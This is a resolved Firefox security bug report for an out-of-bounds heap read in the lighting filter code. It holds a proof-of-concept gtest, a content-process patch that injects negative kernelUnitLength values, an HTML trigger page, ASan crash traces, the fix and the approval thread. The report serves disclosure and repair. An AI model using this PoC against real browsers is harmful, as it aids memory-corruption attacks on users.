Closed Bug 2016351 (CVE-2026-4686) Opened 5 months ago Closed 5 months ago

Lighting Filter OOB Heap Read via Negative kernelUnitLength

Categories

(Core :: Graphics: Canvas2D, defect)

defect

Tracking

()

RESOLVED FIXED
150 Branch
Tracking Status
firefox-esr115 149+ fixed
firefox-esr140 149+ fixed
firefox148 --- wontfix
firefox149 + fixed
firefox150 + fixed

People

(Reporter: prodigysml555, Assigned: lsalzman)

References

Details

(4 keywords, Whiteboard: [client-bounty-form][adv-main149+][adv-ESR140.9+][adv-ESR115.34+])

Attachments

(2 files)

Compromised content process -> GPU process via CanvasTranslator replay.

FilterNodeLightingSoftware::SetAttribute (FilterNodeSoftware.cpp:3362) stores mKernelUnitLength with no validation. Negative values cause the source surface inflation at line 3548 to deflate instead of inflate: ceil(-1.0) = -1, so Inflate(-1) followed by Inflate(1) gives zero net margin. GenerateNormal (line 3464) then reads out-of-bounds via ColorComponentAtPoint's raw pointer arithmetic. The MOZ_ASSERT positivity check at line 3543 is compiled out in release. All 6 lighting filter types (point/spot/distant diffuse/specular) share the same template code.

Same class of bug as the ConvolveMatrix negative KUL finding, but in a different function requiring a separate fix.

The Bug

FilterNodeSoftware.cpp:3358-3368:

void FilterNodeLightingSoftware<LightType, LightingType>::SetAttribute(
    uint32_t aIndex, const Size& aKernelUnitLength) {
  case ATT_LIGHTING_KERNEL_UNIT_LENGTH:
    mKernelUnitLength = aKernelUnitLength;  // NO VALIDATION

The only guard is a MOZ_ASSERT at line 3543 — compiled out in release:

MOZ_ASSERT(aKernelUnitLengthX > 0, "...");
MOZ_ASSERT(aKernelUnitLengthY > 0, "...");

With kernelUnitLength = Size(-1.0, -1.0) and an 8x8 A8 surface (stride=8), GenerateNormal accesses data[-stride - 1] at pixel (0,0) — 9 bytes before the buffer.

ASAN Proof

==81512==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60d0000f46cf
READ of size 1 at 0x60d0000f46cf thread T0
    #0 FilterNodeLightingSoftware<DistantLightSoftware, DiffuseLightingSoftware>::Render()+0x1d28

allocated by thread T0 here:
    #0 malloc
    #1 SourceSurfaceAlignedRawData::Init()

SUMMARY: AddressSanitizer: heap-buffer-overflow in FilterNodeLightingSoftware::Render()

PoC

gfx/tests/gtest/TestLightingFilterOOB.cpp:

/* -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
/* vim: set ts=8 sts=2 et sw=2 tw=80: */
/* This Source Code Form is subject to the terms of the Mozilla Public
 * License, v. 2.0. If a copy of the MPL was not distributed with this
 * file, You can obtain one at http://mozilla.org/MPL/2.0/. */

#include "gtest/gtest.h"

#include "2D.h"
#include "Filters.h"
#include "FilterNodeSoftware.h"

using namespace mozilla;
using namespace mozilla::gfx;

TEST(LightingFilterOOB, NegativeKernelUnitLength)
{
  RefPtr<DrawTarget> dt = Factory::CreateDrawTarget(
      BackendType::SKIA, IntSize(8, 8), SurfaceFormat::B8G8R8A8);
  if (!dt) {
    return;
  }

  RefPtr<FilterNode> filter = dt->CreateFilter(FilterType::DISTANT_DIFFUSE);
  ASSERT_TRUE(filter);

  // Negative kernel unit length: the root cause.
  filter->SetAttribute(ATT_DISTANT_DIFFUSE_KERNEL_UNIT_LENGTH,
                       Size(-1.0f, -1.0f));

  filter->SetAttribute(ATT_DISTANT_DIFFUSE_AZIMUTH, 45.0f);
  filter->SetAttribute(ATT_DISTANT_DIFFUSE_ELEVATION, 45.0f);
  filter->SetAttribute(ATT_DISTANT_DIFFUSE_SURFACE_SCALE, 1.0f);
  filter->SetAttribute(ATT_DISTANT_DIFFUSE_DIFFUSE_CONSTANT, 1.0f);
  filter->SetAttribute(ATT_DISTANT_DIFFUSE_COLOR,
                       DeviceColor(1.0f, 1.0f, 1.0f, 1.0f));

  filter->SetAttribute(ATT_LIGHTING_RENDER_RECT, IntRect(0, 0, 8, 8));

  RefPtr<DataSourceSurface> inputSurface =
      Factory::CreateDataSourceSurface(IntSize(8, 8),
                                       SurfaceFormat::B8G8R8A8, true);
  ASSERT_TRUE(inputSurface);

  filter->SetInput(IN_DISTANT_DIFFUSE_IN, inputSurface);

  // ASAN: heap-buffer-overflow READ
  dt->DrawFilter(filter, Rect(0, 0, 8, 8), Point(0, 0), DrawOptions());
}

Run: ./mach gtest "LightingFilterOOB.*"

Fix

Clamp kernelUnitLength to positive values in SetAttribute:

mKernelUnitLength.width = std::max(aKernelUnitLength.width, 1.0f);
mKernelUnitLength.height = std::max(aKernelUnitLength.height, 1.0f);
Flags: sec-bounty?
Group: firefox-core-security → gfx-core-security
Component: Security → Graphics: Canvas2D
Product: Firefox → Core

FilterNodeLightingSoftware::SetAttribute (FilterNodeSoftware.cpp:3362) stores mKernelUnitLength with no validation. Negative values from a compromised content process pass through RecordedFilterNodeSetAttribute::PlayEvent (RecordedEventImpl.h:4471) via CanvasTranslator into the GPU process. The MOZ_ASSERT at line 3543-3546 (checking > 0) is compiled out in release. DoRender passes the negative values to GenerateNormal (line 3464), which reads out-of-bounds via ColorComponentAtPoint's raw pointer arithmetic. With kernelUnitLength = Size(-1, -1), ceil(-1.0) = -1, so Inflate(-1) at line 3550 deflates the source rect. GenerateNormal reads data[-stride - 1] at pixel (0,0).

SVG filters validate kernelUnitLength > 0 before creating the filter node, but CanvasTranslator replay bypasses all SVG-level validation. Same bug class as the ConvolveMatrix negative KUL issue, different filter type, separate code path.

All 6 lighting types (point/spot/distant diffuse/specular) share the template code and are affected.

FilterNodeSoftware.cpp:3358-3368:

void FilterNodeLightingSoftware<LightType, LightingType>::SetAttribute(
    uint32_t aIndex, const Size& aKernelUnitLength) {
  case ATT_LIGHTING_KERNEL_UNIT_LENGTH:
    mKernelUnitLength = aKernelUnitLength;  // no validation

Fix: clamp to positive values in SetAttribute:

mKernelUnitLength.width = std::max(aKernelUnitLength.width, 1.0f);
mKernelUnitLength.height = std::max(aKernelUnitLength.height, 1.0f);

Content-side IPC patch

Patches FilterNodeRecording::SetAttribute(uint32_t, const Size&) in the content process to override kernelUnitLength to Size(-1, -1) when recording the attribute. GPU process replays via CanvasTranslator, SetAttribute stores the negative values, DoRender reads OOB.

diff --git a/gfx/2d/DrawTargetRecording.cpp b/gfx/2d/DrawTargetRecording.cpp
index 9c654dcce759..7a8b3c1d2e44 100644
--- a/gfx/2d/DrawTargetRecording.cpp
+++ b/gfx/2d/DrawTargetRecording.cpp
@@ -170,7 +170,19 @@ class FilterNodeRecording : public FilterNode {
   FORWARD_SET_ATTRIBUTE(uint32_t, UINT32);
   FORWARD_SET_ATTRIBUTE(Float, FLOAT);
-  FORWARD_SET_ATTRIBUTE(const Size&, SIZE);
+
+  // PoC: Override Size attrs to inject negative kernel unit length
+  void SetAttribute(uint32_t aIndex, const Size& aValue) override {
+    Size val = aValue;
+    // aIndex 7 = ATT_CONVOLVE_MATRIX_KERNEL_UNIT_LENGTH
+    // aIndex 9 = ATT_LIGHTING_KERNEL_UNIT_LENGTH (ATT_DISTANT_DIFFUSE_KERNEL_UNIT_LENGTH etc.)
+    if (XRE_IsContentProcess() && (aIndex == 7 || aIndex == 9)) {
+      val = Size(-1.0f, -1.0f);
+    }
+    mRecorder->RecordEvent(RecordedFilterNodeSetAttribute(
+        this, aIndex, val,
+        RecordedFilterNodeSetAttribute::ARGTYPE_SIZE));
+  }
+
   FORWARD_SET_ATTRIBUTE(const IntSize&, INTSIZE);
   FORWARD_SET_ATTRIBUTE(const IntPoint&, INTPOINT);
   FORWARD_SET_ATTRIBUTE(const Rect&, RECT);

HTML PoC

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Lighting Filter Negative KernelUnitLength OOB Read - IPC PoC (Finding #11)</title>
</head>
<body>
<svg xmlns="http://www.w3.org/2000/svg" style="position:absolute;width:0;height:0">
  <filter id="lighting_kul">
    <feDiffuseLighting surfaceScale="1" diffuseConstant="1"
                       kernelUnitLength="1 1">
      <fePointLight x="100" y="100" z="50"/>
    </feDiffuseLighting>
  </filter>
</svg>
<canvas id="c" width="200" height="200"></canvas>
<pre id="log"></pre>
<script>
document.getElementById('log').textContent =
  'Finding #11: Lighting Negative KernelUnitLength OOB Read\n' +
  'Content -> GPU via CanvasTranslator\n\n';

const canvas = document.getElementById('c');
const ctx = canvas.getContext('2d');

ctx.fillStyle = 'purple';
ctx.fillRect(0, 0, 200, 200);
ctx.fillStyle = 'white';
ctx.font = '16px monospace';
ctx.fillText('PoC #11', 60, 105);

document.getElementById('log').textContent += 'Testing feDiffuseLighting with negative KUL...\n';
ctx.filter = 'url(#lighting_kul)';
ctx.drawImage(canvas, 0, 0);

document.getElementById('log').textContent += 'Filter applied. Check ASan output.\n';
</script>
</body>
</html>

Steps to reproduce

  1. git apply the patch above
  2. ./mach build
  3. ./mach run (ASan build, non-headless, headless uses SWGL with no GPU process)
  4. Navigate to the HTML PoC
  5. The page applies feDiffuseLighting with kernelUnitLength="1 1" via Canvas2D
  6. Content-side patch overrides to Size(-1, -1), GPU process replays and crashes

ASan Output (IPC, GPU process)

==58081==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x00012c3c9648 bp 0x000171311a50 sp 0x000171311160 T22)
==58081==The signal is caused by a WRITE memory access.
==58081==Hint: address points to the zero page.
    #0 mozilla::gfx::FilterNodeLightingSoftware<mozilla::gfx::(anonymous namespace)::PointLightSoftware, mozilla::gfx::(anonymous namespace)::DiffuseLightingSoftware>::Render(mozilla::gfx::IntRectTyped<mozilla::gfx::UnknownUnits> const&)+0x1494 (XUL:arm64+0x3161648)
    #1 mozilla::gfx::FilterNodeSoftware::GetOutput(mozilla::gfx::IntRectTyped<mozilla::gfx::UnknownUnits> const&)+0x3d0 (XUL:arm64+0x3119a7c)
    #2 mozilla::gfx::FilterNodeSoftware::GetInputDataSourceSurface(...)+0x5a4 (XUL:arm64+0x311bfb8)
    #3 mozilla::gfx::FilterNodeCropSoftware::Render(...)+0x208 (XUL:arm64+0x3137020)
    ...
    #15 mozilla::gfx::RecordedDrawFilter::PlayEvent(mozilla::gfx::Translator*) const+0xb8 (XUL:arm64+0x309d3f8)
    #16 mozilla::layers::CanvasTranslator::TranslateRecording()::$_0 (XUL:arm64+0x35ba8cc)
    #17 mozilla::gfx::RecordedEvent::DoWithEvent<mozilla::gfx::MemReader>(...)+0x21e4 (XUL:arm64+0x3064620)
    #18 mozilla::layers::CanvasTranslator::TranslateRecording()+0x274 (XUL:arm64+0x3583ddc)

SUMMARY: AddressSanitizer: SEGV (XUL:arm64+0x3161648) in FilterNodeLightingSoftware<PointLightSoftware, DiffuseLightingSoftware>::Render+0x1494

The IPC path triggers a SEGV at NULL in FilterNodeLightingSoftware::Render in the GPU process (thread T22) via CanvasTranslator::TranslateRecording -> RecordedDrawFilter::PlayEvent. The negative KUL causes deflated source rect arithmetic that produces invalid pointer computations. The GTest (below) shows the underlying heap-buffer-overflow more directly since it operates on a small surface where the negative offset lands in ASan redzones rather than unmapped pages.

ASan Output (GTest, direct API)

==81512==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60d0000f46cf
READ of size 1 at 0x60d0000f46cf thread T0
    #0 FilterNodeLightingSoftware<DistantLightSoftware, DiffuseLightingSoftware>::Render()+0x1d28

SUMMARY: AddressSanitizer: heap-buffer-overflow in FilterNodeLightingSoftware::Render()
Blocks: gfx-triage
See Also: → CVE-2026-4685

The severity field is not set for this bug.
:lsalzman, could you have a look please?

For more information, please visit BugBot documentation.

Flags: needinfo?(lsalzman)
Depends on: CVE-2026-4685
No longer blocks: gfx-triage
Flags: needinfo?(lsalzman)
Severity: -- → S2
Attached file (secure)
Assignee: nobody → lsalzman
Status: UNCONFIRMED → ASSIGNED
Ever confirmed: true

Comment on attachment 9549171 [details]
(secure)

Security Approval Request

  • How easily could an exploit be constructed based on the patch?: It requires bypassing the content process validation by either modifying the code or injecting something into IPC/shmems.
  • Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?: Yes
  • Which branches (beta, release, and/or ESR) are affected by this flaw, and do the release status flags reflect this affected/unaffected state correctly?: all supported branches
  • If not all supported branches, which bug introduced the flaw?: None
  • Do you have backports for the affected branches?: Yes
  • If not, how different, hard to create, and risky will they be?:
  • How likely is this patch to cause regressions; how much testing does it need?: The patch restructures kernelUnitLength calculations to guard against under or overflow, which might cause some previously unrecognized faulty tests or use-cases to fail. It probably needs a day or so of watch on CI after landing in nightly to verify.
  • Is the patch ready to land after security approval is given?: Yes
  • Is Android affected?: Yes
Attachment #9549171 - Flags: sec-approval?
Keywords: sec-high

Comment on attachment 9549171 [details]
(secure)

sec-approval+ to land now and request uplifts

Attachment #9549171 - Flags: sec-approval? → sec-approval+
Group: gfx-core-security → core-security-release
Status: ASSIGNED → RESOLVED
Closed: 5 months ago
Resolution: --- → FIXED
Target Milestone: --- → 150 Branch

The patch landed in nightly and beta is affected.
:lsalzman, is this bug important enough to require an uplift?

For more information, please visit BugBot documentation.

Flags: needinfo?(lsalzman)

Comment on attachment 9549171 [details]
(secure)

Beta/Release Uplift Approval Request

  • User impact if declined/Reason for urgency: Potential out-of-bounds memory read in parent/GPU process that might be exploitable from JS.
  • Is this code covered by automated tests?: Yes
  • Has the fix been verified in Nightly?: Yes
  • Needs manual test from QE?: No
  • If yes, steps to reproduce:
  • List of other uplifts needed: Bug 2016349
  • Risk to taking this patch: Medium
  • Why is the change risky/not risky? (and alternatives if risky): Might alter some corner cases that I don't foresee affecting valid users.
  • String changes made/needed:
  • Is Android affected?: Yes

ESR Uplift Approval Request

  • If this is not a sec:{high,crit} bug, please state case for ESR consideration:
  • User impact if declined:
  • Fix Landed on Version: 150
  • Risk to taking this patch: Medium
  • Why is the change risky/not risky? (and alternatives if risky):
Flags: needinfo?(lsalzman)
Attachment #9549171 - Flags: approval-mozilla-esr140?
Attachment #9549171 - Flags: approval-mozilla-esr115?
Attachment #9549171 - Flags: approval-mozilla-beta?
Attachment #9549171 - Flags: approval-mozilla-beta? → approval-mozilla-beta+
QA Whiteboard: [sec] [uplift] [qa-triage-done-c150/b149]

Comment on attachment 9549171 [details]
(secure)

Approved for 140.9esr. ESR115 will need a rebased patch (including bug 2016349).

Flags: needinfo?(lsalzman)
Attachment #9549171 - Flags: approval-mozilla-esr140? → approval-mozilla-esr140+
Attached file (secure)
Attachment #9551733 - Flags: approval-mozilla-esr115?
Flags: needinfo?(lsalzman)
Attachment #9551733 - Flags: approval-mozilla-esr115? → approval-mozilla-esr115+
Attachment #9549171 - Flags: approval-mozilla-esr115?
Whiteboard: [client-bounty-form] → [client-bounty-form][adv-main149+][adv-ESR140.9+][adv-ESR115.34+]
Alias: CVE-2026-4686
Flags: sec-bounty? → sec-bounty+
Group: core-security-release
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Created:
Updated:
Size: